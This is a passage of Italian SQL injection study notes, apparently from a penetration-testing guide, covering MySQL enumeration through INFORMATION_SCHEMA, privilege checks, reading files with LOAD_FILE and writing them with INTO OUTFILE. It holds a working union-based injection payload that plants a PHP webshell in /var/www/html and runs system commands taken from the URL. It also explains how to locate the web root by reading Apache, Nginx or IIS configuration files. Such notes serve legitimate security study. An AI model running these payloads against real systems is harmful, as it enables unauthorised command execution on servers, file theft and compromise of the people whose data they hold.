- trovare il nome dei database

```
SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA
```

- trovare il nome delle tabelle all'interno di un database

```
SELECT TABLE_NAME, TABLE_SCHEMA  
FROM INFORMATION_SCHEMA.TABLES  
WHERE table_schema='nomeDb'
```

- trovare le colonne di una determinata tabella

```
SELECT COLUMN_NAME, TABLE_NAME, TABLE_SCHEMA  
FROM INFORMATION_SCHEMA.COLUMNS  
WHERE table_name='nomeTabella'
```

## 5.7 Lettura di file

Prima di poter leggere dei file dobbiamo verificare i permessi del nostro utente. Per trovare il nostro utente corrente possiamo usare:

- USER()
- CURRENT\_USER()

Per vedere quindi i privilegi del nostro utente usiamo:

- per verificare se siamo super user (ritorna Y se vero)

```
SELECT super_priv FROM mysql.user
```

- per verificare tutti i permessi legati al nostro utente

```
SELECT grantee, privilege_type  
FROM information_schema.user_privileges  
WHERE grantee="user"
```

Dopo aver controllato di essere in possesso dei privilegi corretti scriviamo:

```
SELECT LOAD_FILE('path')
```

per caricare il file desiderato.

## 5.8 Scrittura di file

Per essere in grado di scrivere file nel back-end usando un database MySQL abbiamo bisogno di tre cose:

1. un utente con il permesso FILE
2. la variabile `secure_file_priv` non deve essere attiva
3. dobbiamo avere accesso alla directory dove vogliamo scrivere sul back-end

La variabile `secure_file_priv` server per determinare da dove possiamo leggere/scrivere file. Se questa è vuota vuol dire che possiamo leggere/scrivere ovunque, se invece contiene un certo percorso allora siamo limitati a quella cartella; se settata a NULL non possiamo leggere/scrivere da nessuna parte. Possiamo trovare il valore della variabile con il seguente comando:

```
SELECT variable_name, variable_value
FROM information_schema.global_variables
WHERE variable_name="secure_file_priv"
```

Dopo aver verificato i permessi usiamo il comando:

```
select 'testo da scrivere' into outfile 'percorso/nomefile.txt'
```

### 5.8.1 Scrittura di una WebShell sul back-end

- inserimento nel back-end di una piccola webshell per eseguire comandi del sistema

```
' union select "", '<?php system($_REQUEST[0]); ?>', "", ""
into outfile '/var/www/html/shell.php'-- -
```

Questa semplice webshell prenderà i comandi che gli vengono passati nell'url nel seguente modo: `url/shell-php?0=comando`.

### 5.8.2 NOTA

Per scrivere una shell web all'interno del back-end, dobbiamo conoscere la directory web di base del server web (cioè la root web). Un modo per trovarla è usare `load_file` per leggere la configurazione del server, come quella di Apache che si trova in `/etc/apache2/apache2.conf`, quella di Nginx in `/etc/nginx/nginx.conf` o quella di IIS in `%WinDir%\System32\Inetsrv\Config\ApplicationHost.config`